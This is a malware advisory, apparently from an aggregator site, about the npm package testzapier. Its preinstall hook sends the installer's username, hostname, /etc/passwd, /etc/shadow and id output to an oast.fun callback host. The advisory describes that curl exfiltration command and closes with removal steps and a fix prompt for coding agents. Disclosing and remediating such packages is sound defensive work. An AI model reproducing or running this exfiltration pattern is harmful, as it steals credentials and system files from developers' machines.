# MAL-2026-5575: Malicious code in testzapier (npm)


- **Type:** Malicious package
- **Package:** `testzapier` (npm)
- **Published:** 11 Jun 2026
- **Also known as:** GHSA-5ppv-rxq4-cf57

## What is MAL-2026-5575?

MAL-2026-5575 is a malicious package in testzapier, published on 11 Jun 2026. 

### Official description

package.json declares a preinstall hook (`node index.js`) that fires automatically on `npm install`. index.js spawns a shell that runs `curl -X POST` against `http://kpfdtycruuyszysbsjtoj9al6djfqrtve.oast.fun/noderedactedsdk/$(whoami)/$(hostname)/`, embedding the installer's username and hostname in the URL path. The User-Agent header carries a base64-encoded blob containing the contents of /etc/passwd, /etc/hosts, /etc/shadow (when readable as root), and the output of `id`. The destination is an interactsh/oast.fun OOB-callback subdomain, plain HTTP, with no relationship to any documented package purpose. Installer harm is direct and unconditional: any machine running `npm install testzapier` leaks host identity and local-account/secret-file contents to the attacker.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5575?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5575 is a malicious package: testzapier (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5575/ (Markdown: https://insights.sbomify.com/MAL-2026-5575/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5575

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5575/
Summaries are generated and may contain mistakes; the official description above is the record.